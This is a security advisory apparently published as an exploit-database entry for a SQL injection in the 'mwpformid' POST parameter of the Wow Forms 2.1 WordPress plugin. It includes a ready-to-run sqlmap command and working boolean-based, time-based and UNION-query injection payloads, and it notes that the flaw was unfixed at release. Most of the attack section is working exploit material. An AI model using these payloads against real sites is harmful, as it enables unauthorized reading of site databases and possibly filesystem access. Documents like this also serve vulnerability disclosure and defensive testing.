WordPress Plugin Wow Forms 2.1 - SQL Injection

# Exploit Title: Wow Forms v2.1 WordPress Plugin SQL Injection
# Date: 29/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: http://wow-company.com/
# Software Link: https://wordpress.org/plugins/mwp-forms/
# Version: 2.1
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits

1. Description

An unescaped parameter was found in Wow Forms v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameter 'wowformid' is vulnerable.

2. Proof of concept

sqlmap -u "http://server/wp-admin/admin-ajax.php" --data "action=send_mwp_form&arrkey%5B%5D=mwp-field-0&arrkey%5B%5D=mwp-forms-textarea-0&arrval%5B%5D=form2&arrval%5B%5D=rrr&mwpformid=1*"  --dbs --threads=10 --random-agent --dbms mysql

Parameter: Array-like #6* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND 6968=6968

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND (SELECT * FROM (SELECT(SLEEP(5)))gxQa)

    Type: UNION query
    Title: Generic UNION query (NULL) - 65 columns
    Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7671,0x6b656f4d516d7a6b736f596f49746d4e776a7663716f4d41654c6e516e516c6c6c7a5274744a6d57,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL— -

3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

4. Impact

Critical

5. Affected versions

<= 2.1

6. Disclosure timeline

15-Mar-2017 - found the vulnerability
15-Mar-2017 - informed the developer
29-Mar-2017 - release date of this security advisory

Not fixed at the date of submitting this exploit.